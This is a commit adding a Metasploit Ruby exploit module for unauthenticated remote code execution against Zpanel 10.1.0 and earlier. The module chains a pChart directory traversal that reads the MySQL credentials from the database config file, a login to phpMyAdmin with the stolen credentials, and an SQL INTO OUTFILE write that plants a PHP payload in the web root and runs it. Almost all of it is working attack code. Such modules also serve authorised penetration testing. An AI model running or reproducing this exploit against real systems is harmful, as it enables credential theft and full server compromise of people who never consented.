Land #6041, Zpanel info disclosure exploit
wchen-r7
commit
70b005de7f
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require 'msf/core'
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require 'msf/core/exploit/php_exe'
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require 'nokogiri'
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require 'uri'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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include Msf::Exploit::PhpEXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zpanel Remote Unauthenticated RCE',
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'Description' => %q{
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This module exploits an information disclosure vulnerability
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found in Zpanel <= 10.1.0. The vulnerability is due to a
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vulnerable version of pChart allowing remote, unauthenticated,
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users to read arbitrary files found on the filesystem. This
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particular module utilizes this vulnerability to identify the
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username/password combination of the MySQL instance. With the
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credentials the attackers can login to PHPMyAdmin and execute
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SQL commands to drop a malicious payload on the filesystem and
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call it leading to remote code execution.
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},
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'Author' =>
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[
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'dawn isabel',
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'brad wolfe',
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'brent morris',
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'james fitts'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-2097' ],
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[ 'EDB', '31173' ], # pChart
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[ 'OSVDB', '102595' ], # pChart
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[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
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[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
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[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 30 2014'))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
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], self.class)
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end
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def get_setting(res, setting_name)
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n = ::Nokogiri::HTML(res.body)
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spans = n.search('//code//span//span')
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found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
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val = found_element.next.next.text
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val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
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end
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def get_user(res)
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get_setting(res, 'user')
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end
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def get_passwd(res)
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get_setting(res, 'pass')
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end
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def get_dbname(res)
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get_setting(res, 'dbname')
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end
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def dot_dot_slash(uri)
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res = send_request_cgi({
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'method' =>'GET',
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'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
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'vars_get' => {
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'Action' => 'View',
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'Script' => '../../../../cnf/db.php'
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}
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})
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uname = get_user(res)
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passwd = get_passwd(res)
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dbname = get_dbname(res)
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return uname, passwd, dbname
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end
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def get_token_from_form(res)
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hidden_inputs = res.get_hidden_inputs
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hidden_inputs.first['token']
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end
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def get_token_from_url(url)
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u = URI(url)
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u.query.split('&').each do |param|
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param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
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return param_value if param_name == 'token'
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end
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''
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end
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def grab_sess_and_token(uri)
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print_status('Attempting to get PHPSESSIONID')
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{uri}"),
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})
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unless res
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fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
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end
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cookies = res.get_cookies
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sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
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if sid.length > 0
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print_good('PHPSESSID identified!')
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print_good("PHPSESSID = #{sid.split("=")[1]}")
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print_status('Attempting to get CSRF token')
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
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'Cookie' => "#{sid}"
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})
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unless res
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fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
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end
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token = get_token_from_form(res)
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cookies = res.get_cookies
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cookies = cookies.split('; ')
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cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"
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if token.length > 0
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print_good('CSRF token identified!')
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print_good("CSRF token = #{token}")
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return cookies, token, sid
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else
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print_error('CSRF token could not be identified...')
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end
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else
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print_error('PHPSESSID could not be identified...')
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end
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end
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def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
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old_cookies = cookies
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
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'cookie' => cookies,
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'ctype' => 'application/x-www-form-urlencoded',
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'headers'=>
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{
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'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
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},
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'vars_post' => {
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'pma_username' => uname,
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'pma_password' => passwd,
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'server' => '1',
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'lang' => 'en',
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'collation_connection' => 'utf8_general_ci',
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'token' => token
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}
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})
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cookies = "#{res.get_cookies}"
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old_cookies = old_cookies.split("; ")
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cookies = cookies.split("; ")
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new_cookies = "#{old_cookies[0]}; "
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new_cookies << "#{old_cookies[1]}; "
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new_cookies << "#{old_cookies[2]}; "
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new_cookies << "#{old_cookies[3]}; "
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new_cookies << "#{cookies[0]}; "
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new_cookies << "#{cookies[1]} "
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new_cookies << "#{sess_id}"
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token = get_token_from_url(res['Location'])
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
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'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
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'cookie' => new_cookies,
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'vars_get' => {
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'token' => token
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}
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})
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unless res
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fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
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end
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if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
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print_good('PHPMyAdmin login successful!')
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return new_cookies, token
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end
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end
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def do_sql(cookies, token, uri)
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fname = "#{rand_text_alpha_upper(5)}.php"
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sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
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'cookie' => cookies,
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'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',
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'headers' => {
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'X-Requested-With' => 'XMLHttpRequest',
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'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
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},
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'vars_post' => {
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'is_js_confirmed' => '0',
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'token' => token,
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'pos' => '0',
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'goto' => 'server_sql.php',
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'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
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'prev_sql_query' => '',
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'sql_query' => sql_stmt,
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'sql_delimiter' => ';',
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'show_query' => '1',
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'ajax_request' => 'true',
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'_nocache' => rand.to_s[2..19].to_i
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}
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})
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unless res
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fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
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end
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if res.body =~ /"success":true/
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print_good("'#{fname}' successfully uploaded")
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print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
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print_status("Executing '#{fname}' on the remote host")
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res = send_request_cgi({
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'method'=>'GET',
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'uri'=>normalize_uri("#{uri}", "#{fname}")
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})
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else
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print_error("#{res.body.to_s}")
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end
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end
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def exploit
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# Checking pChart
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res = send_request_cgi({
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'method'=> 'GET',
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'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
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})
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# if pChart is vuln version
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if res.body =~ /pChart 2\.x/
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uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
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if uname.length > 0 && passwd.length > 0
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print_good('Directory traversal successful, Username/Password identified!')
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print_good("Username: #{uname}")
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print_good("Password: #{passwd}")
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print_good("DB Name: #{db_name}")
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cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
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print_status('Logging into PHPMyAdmin now')
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cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
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print_status('Uploading malicious payload now')
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do_sql(cookies, token, "#{datastore['URI']}")
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else
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print_error('It appears that the directory traversal was unsuccessful...')
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end
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else
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print_error("It appears that the version of pChart is not vulnerable...")
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end
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end
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end
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